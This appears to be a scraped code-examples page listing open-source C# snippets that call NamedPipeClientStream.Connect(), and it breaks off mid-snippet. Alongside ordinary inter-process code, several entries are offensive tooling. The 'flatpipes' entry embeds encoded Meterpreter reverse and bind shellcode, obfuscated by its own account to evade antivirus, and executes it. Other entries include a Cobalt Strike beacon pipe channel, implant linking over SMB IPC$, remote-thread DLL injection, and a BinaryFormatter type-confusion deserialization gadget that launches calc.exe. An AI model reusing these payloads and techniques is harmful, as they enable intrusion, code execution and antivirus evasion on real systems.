System.IO.Pipes.NamedPipeClientStream.Connect()

Here are the examples of the csharp api System.IO.Pipes.NamedPipeClientStream.Connect() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

51 Examples 7

19 Source : RequestBridge.cs
with MIT License
from 0ffffffffh

private static void AbortBlockingWaitOfPipeServer(int count)
        {
            for (int i = 0; i < count; i++)
            {
                NamedPipeClientStream nspc = new NamedPipeClientStream("sozluk_request_bridge_pipe");
                nspc.Connect();

                nspc.Close();
                nspc.Dispose();
            }
        }

19 Source : ClientStream.cs
with GNU General Public License v3.0
from AndreiFedarets

public Stream Connect()
        {
            VerifyServer();
            NamedPipeClientStream stream = new NamedPipeClientStream(".", _pipeName, PipeDirection.InOut, PipeOptions.Asynchronous);
            stream.Connect();
            return stream;
        }

19 Source : MatrixReader.cs
with MIT License
from bonsai-rx

static Stream CreateStream(string path)
        {
            if (path.StartsWith(PipePathPrefix))
            {
                var match = PipePathRegex.Match(path);
                if (match.Success)
                {
                    var serverName = match.Groups[1].Value;
                    var pipeName = match.Groups[2].Value;
                    var stream = new NamedPipeClientStream(serverName, pipeName, PipeDirection.In);
                    try { stream.Connect(); }
                    catch { stream.Close(); throw; }
                    return stream;
                }
            }
            
            return File.OpenRead(path);
        }

19 Source : BeaconChannel.cs
with MIT License
from Cerbersec

public bool Connect()
        {
            Client = new NamedPipeClientStream(PipeName.ToString());

            var tries = 0;
            while (Client.IsConnected == false)
            {
                if (tries == 20) break; // Failed to connect

                Client.Connect();
                tries += 1;

                Thread.Sleep(1000);
            }

            return Client.IsConnected;
        }

19 Source : TABReflector.cs
with GNU General Public License v3.0
from DaneelTrevize

private void run()
        {
            pipe.Connect();
            Console.WriteLine( "Reflector listening." );

            bool keepRunning = true;
            string command;
            string value;
            do
            {
                command = readPipe();
                switch( command[0] )
                {
                    case (char) PipeFlowControl.GenerateChecksum:
                        //writePipe( "Awaiting file path." );
                        value = readPipe();
                        string signature = generateZXCheck( value );
                        if( signature != null )
                        {
                            Console.WriteLine( "Signature: " + signature );
                            writePipe( signature );
                        }
                        else
                        {
                            writePipe( "Failed to generated zxcheck." );
                        }
                        break;
                    case (char) PipeFlowControl.GeneratePreplacedword:
                        //writePipe( "Awaiting file path." );
                        value = readPipe();
                        // Checksum file is required or preplacedwork generator invocation will fail. replacedume the manager checked this.
                        string preplacedword = generatePreplacedword( value );
                        Console.WriteLine( "Preplacedword: " + preplacedword );
                        writePipe( preplacedword );
                        break;
                    case (char) PipeFlowControl.Quit:
                        //writePipe( "Quitting." );
                        Console.WriteLine( "Reflector stopping." );
                        pipe.Close();
                        /*try
                        {
                            pipeReader.Dispose();
                        }
                        catch( ObjectDisposedException ode ) { }
                        try
                        {
                            pipeWriter.Dispose();
                        }
                        catch( ObjectDisposedException ode ) { }*/
                        keepRunning = false;
                        break;
                    default:
                        Console.Error.WriteLine( "Unrecognised command: " + command );
                        writePipe( "Unrecognised command: " + command );
                        break;
                }
            } while( keepRunning );
        }

19 Source : Trace.cs
with MIT License
from daPhie79

private void PipeThread(object id)
            {
                try
                {
                    using (var pipe = new NamedPipeClientStream(".", (string)id + "\\root", PipeDirection.In))
                    {
                        pipe.Connect();

                        BinaryReader rd = new BinaryReader(pipe);

                        for (;;)
                        {
                            lock (mSync)
                                if (mShutdown)
                                    return;

                            int op = pipe.ReadByte();
                            if (op < 0)
                                return;

                            ProcessPipeThreadEvent(rd, op);
                        }
                    }
                }
                catch (Exception ex)
                {
                    lock (mSync)
                        mError.Add(ex);
                }
            }

19 Source : NamedPipeWriter.cs
with MIT License
from daveaglick

private static PipeStream InitializePipe(string serverName, string pipeName)
        {
            NamedPipeClientStream pipeStream = new NamedPipeClientStream(serverName, pipeName, PipeDirection.Out);
            pipeStream.Connect();
            return pipeStream;
        }

19 Source : NamedPipeLoggerServer.cs
with MIT License
from daveaglick

private void CancelConnectionWait()
        {
            if (!_connected.Set())
            {
                // This is a crazy hack that stops the WaitForConnection by connecting a dummy client
                // We have to do it this way instead of checking for .IsConnected because if we connect
                // and then disconnect very quickly, .IsConnected will never observe as true and we'll lock
                using (NamedPipeClientStream pipeStream = new NamedPipeClientStream(".", PipeName, PipeDirection.Out))
                {
                    pipeStream.Connect();
                }
            }
        }

19 Source : DbInitProjectRunner.cs
with MIT License
from DevZest

private void RequestCancel(string pipeName)
        {
            using (var stream = new NamedPipeClientStream(".", pipeName, PipeDirection.In))
            {
                stream.Connect();
            }
        }

19 Source : CommandClient.cs
with MIT License
from dsnezhkov

void Client()
        {
            using (client = new NamedPipeClientStream(".", _pipeName, 
                                PipeDirection.InOut
                            ))
            {

                String taskName;

                Console.WriteLine("Connecting to server ...");
                client.Connect();
                client.ReadMode = PipeTransmissionMode.Message;
                Console.WriteLine("Connected.");

                Byte[] randbytes = new Byte[] {};
                while (true)
                {

                    Console.Write("-> ");
                    taskName = Console.ReadLine();

                    CommandMessageReq cmReq= new CommandMessageReq { taskName = taskName, taskType = TaskType.Reporting};

                    String cmReqSer = CommandSerializers.SerializeCommandRequest(cmReq);

                    var cmsBytes = Encoding.ASCII.GetBytes(cmReqSer);
                    Console.WriteLine("Client sends REQUEST of size {0}: Serialized as: {1}\n", cmsBytes.Length, cmReqSer);
                    try
                    {
                        client.Write(cmsBytes, 0, cmReqSer.Length);
                        client.Flush();
                    }catch(IOException sio)
                    {
                        Console.WriteLine("Send: IO exception {0}", sio.Message);
                    }

                    try
                    {
                        MemoryStream ms = new MemoryStream();
                        byte[] buffer = new byte[1024];
                        do
                        {
                            ms.Write(buffer, 0, client.Read(buffer, 0, buffer.Length));
                        } while (!client.IsMessageComplete);

                        string stringData = Encoding.UTF8.GetString(ms.ToArray());
                        Console.WriteLine("Client received RESPONSE: De-Serialized as: {0}\n", stringData);

                        CommandMessageResp cmResp = CommandSerializers.DeserializeCommandResponse(stringData);

                        ProcessResponse(ref cmResp);

                    }
                    catch(IOException sio)
                    {
                        Console.WriteLine("Receive: IO exception {0}", sio.Message);
                    }
                }
            }
        }

19 Source : flatpipes.cs
with MIT License
from dxflatline

static void Main(string[] args)
        {

            // HANLDE PARAMS
            if (args.Length<6)
            {
                Console.WriteLine("\nUsage: flatpipes [pipemode] [socketmode] [pipename] [pipeaddr] [ip] [port] [extension]\n");
                Console.WriteLine("  pipemode\tTo connect to or create locally a pipe (pserver|pclient)");
                Console.WriteLine("  socketmode\tAfter piping, TCP listen or connect (sserver|sclient)");
                Console.WriteLine("  pipename\tPrefix of the two pipes created");
                Console.WriteLine("  pipeaddr\tIP for pipe connection (for local or server use '.')");
                Console.WriteLine("  ip/port\tSocket info to listen on or connect to");
                Console.WriteLine("  extension\tMisc tools (revmeter|bindmeter|customhex)");
                Environment.Exit(1);
            }
            String pmode = args[0];
            String smode = args[1];
            String pipename = args[2];
            String pipeaddr = args[3];
            String ip = args[4];
            String port = args[5];
            String extension = null;
            if (args.Length == 7) extension = args[6];


            // Check some unsupported conditions
            if ((extension != null) && (String.Compare(pmode, "pclient") == 0))
            {
                Console.WriteLine("[*] Extensions are not currently supported on pclient. Use on pserver only.");
                Environment.Exit(1);
            }
            if ( String.Compare(smode, "sclient") == 0 && String.Compare(extension, "revmeter") == 0)
            {
                Console.WriteLine("[*] Reverse payload on sclient config does not make sense. Use sserver instead.");
                Environment.Exit(1);
            }
            if ( String.Compare(smode, "sserver") == 0 && String.Compare(extension, "bindmeter") == 0)
            {
                Console.WriteLine("[*] Bind payload on sserver config does not make sense. Use sclient instead.");
                Environment.Exit(1);
            }


            // PRINT ARCHITECTURE
            if (IntPtr.Size == 4) Console.WriteLine("[!] Running as 32-bit");
            else if (IntPtr.Size == 8) Console.WriteLine("[!] Running as 64-bit");
            else Console.WriteLine("[!] Running in the future");


            // PIPE SERVER IMPLEMENTATION
            if (String.Compare(pmode, "pserver") ==0)
            {
                // Handle pipes (block until connected)
                Console.WriteLine("[!] Waiting for pipe connections");
                var pipe_s2c = new NamedPipeServerStream(pipename + "_s2c", PipeDirection.Out); // Writing to client
                var pipe_c2s = new NamedPipeServerStream(pipename + "_c2s", PipeDirection.In); // Reading from client
                pipe_s2c.WaitForConnection();
                Console.WriteLine("[!] Client connected on downstream pipe");
                pipe_c2s.WaitForConnection();
                Console.WriteLine("[!] Client connected on upstream pipe");
                StreamString ss_s2c = new StreamString(pipe_s2c);
                StreamString ss_c2s = new StreamString(pipe_c2s);

                // Check for extensions execution
                IntPtr shellcodeProcessHandle = IntPtr.Zero;
                if (extension != null)
                {
                    if (String.Compare(extension, "revmeter") == 0 && String.Compare(smode, "sserver") == 0)
                    {
                        Console.WriteLine("[!] Extension " + extension + " starting.");
                        // We preplaced through encoding to minimize the AV catching popular staged meterpreter strings
                        // Shellcode formatted by msfvenom
                        // Below is: msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=54321 -f raw 2>/dev/null | gzip | base64 -w 0
                        String ShellCode_B64 = "H4sIADgM9VgAA/vzoomBgSGh86nhgZTuAIPuIJ7uIJHuIg3+7V5qhv/X2CTWMOkoHDzPy3j80aeg8O4ggW4vm24fwYrHHowXA7sjFRgvd3tKPLby7DbpZrwG1ABWavGg9Btz7Q/rWpXSJxHdESqMl9O6eby7I2SAqlm6GS90uqioREcnRkYF/n8QHx/VLfS6NzbD2IiBIaO82Cg+JMOnXI39/9UdExgZGDSPhARkaDZkM/y/msWaUc/AwJjBxHDFsPNZABA4AGHGK/77D/5fnZ4lEBaeMXNpSeL/q60HSrj++3GUvnmRCPRbFkMWC1CK6eaJ+P9Xm38w1Jl1m2U5ZDAIMDCEZTFkRCwJfvr/6uTgLIawYCRVtUoRGQwOIN0BGdz6/Ab/r4ZnlOb5Ak2Pi/vPo/Ky8P///4yHNY+VHj+8+8PWRUCTgv9fBQBn+JV+TQEAAA==";
                        // Decode base64
                        byte[] ShellCode_gzip = Convert.FromBase64String(ShellCode_B64);
                        // Decompress
                        byte[] ShellCode_c = Decompress(ShellCode_gzip);
                        // "Monkey patch" the port
                        string portHex = Convert.ToInt32(port).ToString("X").ToLower();
                        if (portHex.Length == 4)
                        {
                            ShellCode_c[181] = Convert.ToByte(portHex.Substring(0, 2), 16);
                            ShellCode_c[182] = Convert.ToByte(portHex.Substring(2, 2), 16);
                        }
                        else if (portHex.Length == 2)
                        {
                            ShellCode_c[181] = 0;
                            ShellCode_c[182] = Convert.ToByte(portHex.Substring(0, 2), 16);
                        }
                        // Execute payload and get returned handle
                        shellcodeProcessHandle = exec_shellcode(ShellCode_c);
                        //WaitForSingleObject(hThread, 0xFFFFFFFF);
                        //Console.WriteLine("[!] Extension " + extension + " 4");
                    }
                    else if (String.Compare(extension, "bindmeter") == 0 && String.Compare(smode, "sclient") == 0)
                    {
                        Console.WriteLine("[!] Extension " + extension + " starting.");
                        // We preplaced through encoding to minimize the AV catching popular staged meterpreter strings
                        // Shellcode formatted by msfvenom
                        // Below is: msfvenom --platform windows -p windows/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=54321 -f raw 2>/dev/null | gzip | base64 -w 0
                        String ShellCode_B64 = "H4sIAEoT9VgAA/vzoomBgSGh86nhgZTuAIPuIJ7uIJHuIg3+7V5qhv/X2CTWMOkoHDzPy3j80aeg8O4ggW4vm24fwYrHHowXA7sjFRgvd3tKPLby7DbpZrwG1ABWavGg9Btz7Q/rWpXSJxHdESqMl9O6eby7I2SAqlm6GS90uqioREcnRkYF/n8QHx/VLfS6NzbD2IiBIaO82Cg+JMOnXI39/9UdExgZGDSPhARkaDZkM/y/msUdGfDobxZjFlPGK/77D/5fnZ7BxHDFsPNZlkBYeMah2+bp/6+2HiiNCM/Y/tLi//+r4Rklb6wfAunpGaV5volAAxiyWIAqmW6eiP9/tfkHQ51ut1mWQwaDAANDWBZDRsSS4Kf/r04OzmIIC0ZWxc54WPNY6cvDAFPg4MorAQAA";
                        // Decode base64
                        byte[] ShellCode_gzip = Convert.FromBase64String(ShellCode_B64);
                        // Decompress
                        byte[] ShellCode_c = Decompress(ShellCode_gzip);
                        // "Monkey patch" the port
                        string portHex = Convert.ToInt32(port).ToString("X").ToLower();
                        if (portHex.Length == 4)
                        {
                            ShellCode_c[192] = Convert.ToByte(portHex.Substring(0, 2), 16);
                            ShellCode_c[193] = Convert.ToByte(portHex.Substring(2, 2), 16);
                        }
                        else if (portHex.Length == 2)
                        {
                            ShellCode_c[192] = 0;
                            ShellCode_c[193] = Convert.ToByte(portHex.Substring(0, 2), 16);
                        }
                        // Execute payload and get returned handle
                        shellcodeProcessHandle = exec_shellcode(ShellCode_c);
                        //WaitForSingleObject(hThread, 0xFFFFFFFF);
                        //Console.WriteLine("[!] Extension " + extension + " 4");
                    }
                    else if (String.Compare(extension, "customhex") == 0)
                    {
                        Console.WriteLine("[!] Extension " + extension + " starting. Waiting payload.");
                        String dataEncoded;
                        byte[] dataDecoded;
                        dataEncoded = ss_c2s.ReadString();
                        dataDecoded = Convert.FromBase64String(dataEncoded);
                        shellcodeProcessHandle = exec_shellcode(dataDecoded);
                    }
                }

                // Handle socket requirements
                NetworkStream networkStream = null;
                if (String.Compare(smode, "sclient") == 0)
                {
                    TcpClient tcpClient = null;
                    bool ok = false;
                    while (!ok)
                    {
                        try
                        {
                            tcpClient = new TcpClient(ip, Convert.ToInt32(port));
                            ok = true;
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("[*] Error while connecting. Trying again in a while..");
                            DelayMe(1000);
                            //System.Threading.Thread.Sleep(1000);
                            //Task.Delay(1000).Wait();
                        }
                    }
                    networkStream = tcpClient.GetStream();
                    Console.WriteLine("[!] Connected to " + ip + ":" + port);
                }
                else if (String.Compare(smode, "sserver") == 0)
                {
                    TcpListener tcpServer = new TcpListener(IPAddress.Parse(ip), Convert.ToInt32(port));
                    // Try to start socket listener until no problem occurs
                    bool ok = false;
                    while (!ok)
                    {
                        try
                        {
                            tcpServer.Start();
                            ok = true;
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("[*] Error while listening. Check if port is used. Trying again in a while..");
                            DelayMe(1000);
                            //System.Threading.Thread.Sleep(1000);
                            //Task.Delay(1000).Wait();
                        }
                    }
                    Console.WriteLine("[!] Started listener on " + ip + ":" + port);
                    TcpClient tcpClient = tcpServer.AcceptTcpClient();
                    Console.WriteLine("[!] Client Connected to socket");
                    networkStream = tcpClient.GetStream();
                }

                // Start the upstream/downstream handling tasks
                SocketToWritePipe(networkStream, ss_s2c);
                ReadPipeToSocket(networkStream, ss_c2s);

                if (shellcodeProcessHandle != IntPtr.Zero)
                {
                    Console.WriteLine("[!] Job done. Waiting until shellcode process exits.");
                    WaitForSingleObject(shellcodeProcessHandle, 0xFFFFFFFF);
                }
                else
                {
                    Console.WriteLine("[!] Job done. Waiting forever.");
                    while (true) { }
                }

            }


            // PIPE CLIENT IMPLEMENTATION

            else if (String.Compare(pmode, "pclient") == 0)
            {
                Console.WriteLine(pipeaddr);
                // Handle pipes
                // Even if pserver is not online, it will block until it opens (seems to wait forever)
                var pipe_s2c = new NamedPipeClientStream(pipeaddr, pipename + "_s2c", PipeDirection.In, PipeOptions.None); // Reading from server
                var pipe_c2s = new NamedPipeClientStream(pipeaddr, pipename + "_c2s", PipeDirection.Out, PipeOptions.None); // Writing to server
                try
                {
                    pipe_s2c.Connect();
                    Console.WriteLine("[!] Connected to server's downstream pipe");
                    pipe_c2s.Connect();
                    Console.WriteLine("[!] Connected to server's upstream pipe");
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[*] Error while connecting to pipe. Exiting..");
                    Environment.Exit(1);
                }
                StreamString ss_s2c = new StreamString(pipe_s2c);
                StreamString ss_c2s = new StreamString(pipe_c2s);

                // Handle socket requirements
                NetworkStream networkStream = null;
                if (String.Compare(smode, "sclient") == 0)
                {
                    TcpClient tcpClient = null;
                    bool ok = false;
                    while (!ok)
                    {
                        try
                        {
                            tcpClient = new TcpClient(ip, Convert.ToInt32(port));
                            ok = true;
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("[*] Error while connecting. Trying again in a while..");
                            DelayMe(1000);
                            //System.Threading.Thread.Sleep(1000);
                            //Task.Delay(1000).Wait();
                        }
                    }
                    networkStream = tcpClient.GetStream();
                    Console.WriteLine("[!] Connected to " + ip + ":" + port);
                }
                else if (String.Compare(smode, "sserver") == 0)
                {
                    TcpListener tcpServer = new TcpListener(IPAddress.Parse(ip), Convert.ToInt32(port));
                    // Try to start socket listener until no problem occurs
                    bool ok = false;
                    while (!ok)
                    {
                        try
                        {
                            tcpServer.Start();
                            ok = true;
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine("[*] Error while listening. Check if port is used. Trying again in a while..");
                            DelayMe(1000);
                            //System.Threading.Thread.Sleep(1000);
                            //Task.Delay(1000).Wait();
                        }
                    }
                    Console.WriteLine("[!] Started listener on " + ip + ":" + port);
                    TcpClient tcpClient = tcpServer.AcceptTcpClient();
                    Console.WriteLine("[!] Client Connected to socket");
                    networkStream = tcpClient.GetStream();
                }

                // Start the upstream/downstream handling tasks
                ReadPipeToSocket(networkStream, ss_s2c);
                SocketToWritePipe(networkStream, ss_c2s);

                // loop
                Console.WriteLine("[!] Job done. Waiting forever.");
                while (true) { }

            }
        }

19 Source : NamedPipeClient.cs
with MIT License
from emily33901

public static NamedPipeClientStream CreateAndConnectPipe(string pipeName, string serverName)
        {
            var pipe = CreatePipe(pipeName, serverName);
            pipe.Connect();
            return pipe;
        }

19 Source : TNamedPipeClientTransport.cs
with Apache License 2.0
from endink

public override void Open()
        {
            if (IsOpen)
            {
                throw new TTransportException(TTransportException.ExceptionType.AlreadyOpen);
            }
            client = new NamedPipeClientStream(ServerName, PipeName, PipeDirection.InOut, PipeOptions.None);
            client.Connect();
        }

19 Source : NamedPipeHelper.cs
with BSD 2-Clause "Simplified" License
from fcarver

public static string Read(string pipeName)
        {
            string lineEndChar = Environment.NewLine;
            StringBuilder sb = new StringBuilder();
            using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(NAMEDPIPENAME+pipeName))
            {
                pipeClient.Connect();
                using (StreamReader sr = new StreamReader(pipeClient))
                {
                    string temp;
                    while ((temp = sr.ReadLine()) != null)
                    {
                        sb.Append(temp);
                        sb.Append(lineEndChar);
                    }
                }
            }

            if (sb.Length > 0)
            {
                sb.Remove(sb.Length - lineEndChar.Length, lineEndChar.Length);
            }
            return sb.ToString();
        }

19 Source : WinPtySession.cs
with GNU General Public License v3.0
from felixse

private Stream CreatePipe(string pipeName, PipeDirection direction)
        {
            string serverName = ".";
            if (pipeName.StartsWith("\\"))
            {
                int slash3 = pipeName.IndexOf('\\', 2);
                if (slash3 != -1)
                {
                    serverName = pipeName.Substring(2, slash3 - 2);
                }
                int slash4 = pipeName.IndexOf('\\', slash3 + 1);
                if (slash4 != -1)
                {
                    pipeName = pipeName.Substring(slash4 + 1);
                }
            }

            var pipe = new NamedPipeClientStream(serverName, pipeName, direction);
            pipe.Connect();
            return pipe;
        }

19 Source : QuickLookHandler.cs
with GNU General Public License v3.0
from files-community

public void ToggleQuickLook(string path, bool switchPreview)
        {
            Logger.Info("Toggle QuickLook");

            string PipeName = $"QuickLook.App.Pipe.{WindowsIdenreplacedy.GetCurrent().User?.Value}";
            string Message = switchPreview ? "QuickLook.App.PipeMessages.Switch" : "QuickLook.App.PipeMessages.Toggle";

            using (var client = new NamedPipeClientStream(".", PipeName, PipeDirection.Out))
            {
                client.Connect();

                using (var writer = new StreamWriter(client))
                {
                    writer.WriteLine($"{Message}|{path}");
                    writer.Flush();
                }
            }
        }

19 Source : Pipes.cs
with MIT License
from fox-it

public byte[] Receive()
        {
            try
            {
                if (!pipeClient.IsConnected)
                    pipeClient.Connect();

                // Peek into the stream to see if we have data available
                if (DataAvailable(pipeClient))
                {
                    // Receive first 4 bytes to determine the length of the stream
                    byte[] msgLength = new byte[4];
                    pipeClient.Read(msgLength, 0, 4);

                    // frames sent by CS are 4 bytes at minimum
                    if (msgLength.Length < 4)
                        return null;

                    // read remainder of the stream
                    int iMsg = BitConverter.ToInt32(msgLength, 0);
                    byte[] buffer = new byte[iMsg];
                    pipeClient.Read(buffer, 0, iMsg);
                    return buffer;
                }

                return null;
               
            }
            catch (Exception ex)
            {
                if (this.pipeClient.IsConnected)
                    throw new Exception("Beacon died.");
                else
                    throw ex;                
            } 
        }

19 Source : Pipes.cs
with MIT License
from fox-it

public void Send(byte[] data)
        {            
            // Add length of the byte array
            byte[] dataLen = Misc.convertToLE(data.Length);
            byte[] toSend = Misc.Combine(dataLen, data);

            if (!this.pipeClient.IsConnected)
            {
                try
                {
                    pipeClient.Connect();
                }
                catch(Exception ex) 
                {
                    // Not sure what to do right now
                    Console.WriteLine("[-] Cannot send frame over named pipe.");
                    Console.WriteLine("[-] Exception: {0}", ex.Message);
                    return;
                }

            }

            this.pipeClient.Write(toSend, 0, toSend.Length);

            this.pipeClient.Flush();
        }

19 Source : NamedPipeClientSocket.cs
with MIT License
from fozavci

public override void Connect(string sid, string sa, string option = null)
        {
            Console.Error.WriteLine("Named Pipe is linking.");

            ServerAddress = sa;
            sessionId = sid;

            // Starting the Named Pipe Connection as a thread
            clientThread = new Thread(() =>
            {
                try
                {
                    // Reurposed from the Microsoft sample implementation
                    // https://docs.microsoft.com/en-us/dotnet/standard/io/how-to-use-named-pipes-for-network-interprocess-communication

                    // Custom Named Pipe name support
                    if (option != null) { NamedPipeServiceName = option; }

                    Console.Error.WriteLine("Named pipes are defining.");

                    // Creating the Named Pipe objects
                    NamedPipeClientRead = new NamedPipeClientStream(ServerAddress, NamedPipeServiceName+"o",
                        PipeDirection.InOut, PipeOptions.Asynchronous,
                        TokenImpersonationLevel.Impersonation);
                    NamedPipeClientWrite= new NamedPipeClientStream(ServerAddress, NamedPipeServiceName + "i",
                        PipeDirection.InOut, PipeOptions.Asynchronous,
                        TokenImpersonationLevel.Impersonation);

                    // As the Named Pipes on the network only accessible
                    // via SMB IPC$ connections established
                    // we need to connect to the remote server IPC$
                    // if necessary with the creds
                    //
                    // This points out that named pipe over network
                    // with null IPC $ is possible
                    // However, the pipe name should appear on the registry
                    // which creates traces, IOCs
                    // https://support.microsoft.com/en-au/help/813414/how-to-create-an-anonymous-pipe-that-gives-access-to-everyone

                    Console.Error.WriteLine("Named pipes on {0} are connecting.",ServerAddress);

                    // Connecting to the Named Pipes
                    NamedPipeClientRead.Connect();
                    NamedPipeClientWrite.Connect();
                    Status = true;

                    // Register linked implants as registration started
                    Console.WriteLine("Session {0} is added to the linked sessions.", sessionId);
                    Program.RegisterLinkedImplants();

                    Console.Error.WriteLine("Streams are building.");

                    // Creating StreamStrings clreplaced for string based communications
                    NamedPipeClientReadStream = new StreamString(NamedPipeClientRead);
                    NamedPipeClientWriteStream = new StreamString(NamedPipeClientWrite);

                    // Request registration first
                    if (!Registration)
                    {
                        // Requesting the registration 
                        AskRegistration();
                    }
                    Console.WriteLine("Registration asked.");

                    //Ask route updates
                    //AskRouteUpdates();
                    //Console.WriteLine("Route updates is requesting...");
                    //Send(Common.Encrypt("routeupdates"));
                    //Console.Error.WriteLine("Route update is requested. Status {0}", Status);

                    Console.Error.WriteLine("Read loop is starting...");

                    // Read Pipe stream as string and process
                    while (Status)
                    {
                        Console.Error.WriteLine("Listening to the pipe for data.");

                        // Reading the data from the socket
                        string output = NamedPipeClientReadStream.ReadString();

                        Console.Error.WriteLine("Data received:\n{0}", Common.Decrypt(output));

                        // Process the data and send to the linked service
                        LinkedServiceSend(output);

                        // Asking route updates makes the service unresponsive
                        // Maybe waiting for a grace period would work
                        //
                        // Request route after the first response
                        //if (!Route)
                        //{
                        //    // Requesting the registration 
                        //    AskRouteUpdates();
                        //    Console.WriteLine("Route updates asked.");

                        //}


                    }
                    Console.Error.WriteLine("Stopping listen to the pipe for data.");

                }
                catch (Exception e)
                {
                    string warn = "\nInvalid credentials error may occur if the logged on user has no access to remote server IPC$. Try this before linking 'net use \\\\servername\\IPC$ /user:domain\\user preplacedword'. Named pipe would accept null IPC$, though, but this time it leaves traces on the registry.";

                    Console.WriteLine("{0}\nNamed Pipe Client Exception on Connect/Receive: {1}", warn, e.Message);

                }
                finally
                {
                    // Dispose the Named pipe after use
                    Disconnect();
                }
            });
            clientThread.Start();
        }

19 Source : NamedPipes.cs
with MIT License
from fuse-open

public Task<Stream> Connect(PipeName name)
		{
			return Task.Run(() =>
			{
				var pipeName = name.ToString();
				var stream = new NamedPipeClientStream(pipeName);

				while (NamedPipeDoesNotExist(pipeName))
				{
					Thread.Sleep(10);
				}

				stream.Connect();
				return (Stream)stream;
			});
		}

19 Source : Windows.cs
with MIT License
from fuse-open

public Stream OpenStream(string name)
		{
			var stream = new NamedPipeClientStream(GetProcessIdentifier() + name);
			stream.Connect();
			return stream;
		}

19 Source : SingletonApplicationBase.cs
with Apache License 2.0
from GoogleCloudPlatform

private int PostCommandToNamedPipeServer(string[] args)
        {
            using (var pipe = new NamedPipeClientStream(
                ".",
                PipeName,
                PipeDirection.InOut))
            {
                pipe.Connect();

                using (var reader = new BinaryReader(pipe))
                using (var writer = new BinaryWriter(pipe))
                {
                    writer.Write(args.Length);

                    for (int i = 0; i < args.Length; i++)
                    {
                        writer.Write(args[i]);
                    }

                    int returnCode = reader.ReadInt32();
                    int processIdOfMainInstance = reader.ReadInt32();

                    TrySetForegroundWindow(processIdOfMainInstance);

                    return returnCode;
                }
            }
        }

19 Source : App.xaml.cs
with MIT License
from haven1433

private void SendParams(string path, int address) {
         if (path != string.Empty) path = Path.GetFullPath(path);
         using (var client = new NamedPipeClientStream(appInstanceIdentifier)) {
            client.Connect();
            using (var writer = new StreamWriter(client)) {
               writer.WriteLine($"{path}(){address}");
               writer.Flush();
            }
         }
         Shutdown();
      }

19 Source : SnifferBase.cs
with MIT License
from HoLLy-HaCKeR

public void Start()
        {
            //find process
            int pid = GeneralHelper.GetProcessID(_procName) ?? throw new Exception("proc not found");

            //start pipes
            try {
                _pipeOut = new NamedPipeClientStream(".", "wspe.send." + pid.ToString("X8"), PipeDirection.Out, PipeOptions.Asynchronous);
                _pipeIn = new NamedPipeServerStream("wspe.recv." + pid.ToString("X8"), PipeDirection.In, 1, PipeTransmissionMode.Message);
            } catch (Exception ex) {
                throw new Exception("Cannot attach to process!", ex);
            }

            //open process
            IntPtr hProc = Native.OpenProcess(Native.ProcessAccessFlags.All, false, pid);
            if (hProc == IntPtr.Zero)
                throw new Exception("Cannot open process.");

            //write LoadLibraryA parameter to other process
            byte[] filenameBytes = EncA.GetBytes(Path.Combine(Directory.GetCurrentDirectory(), Constants.FilenameWspe));
            IntPtr ptrMem = Native.VirtualAllocEx(hProc, (IntPtr)0, (uint)filenameBytes.Length, Native.AllocationType.COMMIT, Native.MemoryProtection.EXECUTE_READ);
            if (ptrMem == IntPtr.Zero)
                throw new Exception("Cannot allocate process memory.");
            if (!Native.WriteProcessMemory(hProc, ptrMem, filenameBytes, (uint)filenameBytes.Length, out _))
                throw new Exception("Cannot write to process memory.");

            //call LoadLibraryA
            IntPtr ptrLoadLib = Native.GetProcAddress(Native.GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA");
            Native.CreateRemoteThread(hProc, IntPtr.Zero, 0, ptrLoadLib, ptrMem, 0, IntPtr.Zero);

            //wait for injected lib to ping back
            _pipeIn.WaitForConnection();
            _pipeOut.Connect();
            
            //register
            _pipeOut.Write(BitConverter.GetBytes(Constants.RegName.Length), 0, 1);
            _pipeOut.Write(EncA.GetBytes(Constants.RegName), 0, Constants.RegName.Length);
            _pipeOut.Write(EncA.GetBytes(Constants.RegKey), 0, Constants.RegKey.Length);

            //start reading from pipe
            _pipeThread = new Thread(PipeRead) {IsBackground = true};
            _pipeThread.Start();
        }

19 Source : Program.cs
with MIT License
from johnkoerner

static void Main(string[] args)
        {
            Console.WriteLine("Client");
			var pipe = new NamedPipeClientStream(".", "MyTest.Pipe", PipeDirection.InOut, PipeOptions.None);
			Console.WriteLine("Connecting");
			pipe.Connect();
			var person = Serializer.Deserialize<Person>(pipe);
			Console.WriteLine($"Person: {person.FirstName} {person.LastName}");
			Console.WriteLine("Done");

        }

19 Source : client.cs
with GNU General Public License v3.0
from juliourena

static void Main(string[] args)
        {
            
            //connecting to the known pipe stream server which runs in localhost
            using (NamedPipeClientStream pipeClient =
                new NamedPipeClientStream(".", "File Transfer", PipeDirection.InOut))
            {
                // Connect to the pipe or wait until the pipe is available.
                Console.Write("Attempting to connect to File Transfer pipe...");

                pipeClient.Connect();

                Console.WriteLine("Connected to File Transfer pipe.");

                // Create a simple multicast delegate.
                Delegate da = new Comparison<string>(String.Compare);
                Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
                // Create set with original comparer.
                IComparer<string> comp = Comparer<string>.Create(d);
                SortedSet<string> set = new SortedSet<string>(comp);

                // Setup values to call calc.exe with a dummy argument.
                set.Add("calc");
                set.Add("adummy");

                TypeConfuseDelegate(d);

                new BinaryFormatter
                {
                    replacedemblyFormat = FormatterreplacedemblyStyle.Simple
                }.Serialize(pipeClient, set);

            }
            Console.Write("Press Enter to continue...");
            Console.ReadLine();  

            #region workingPipeClient
            /*
            //connecting to the known pipe stream server which runs in localhost
            using (NamedPipeClientStream pipeClient =
                new NamedPipeClientStream(".", "File Transfer", PipeDirection.In))
            {
                // Connect to the pipe or wait until the pipe is available.
                Console.Write("Attempting to connect to File Transfer pipe...");
                //time out can also be specified
                pipeClient.Connect();

                Console.WriteLine("Connected to File Transfer pipe.");


                BinaryReader reader = new BinaryReader(pipeClient, Encoding.UTF8, true);
                string fileName = reader.ReadString();
                
                //creating the target file with name same as specified in source which comes using
                //file transfer object
                using (FileStream fs = new FileStream(@"c:\tools\NamedPipes\client\" + fileName, FileMode.Create, FileAccess.Write))
                {
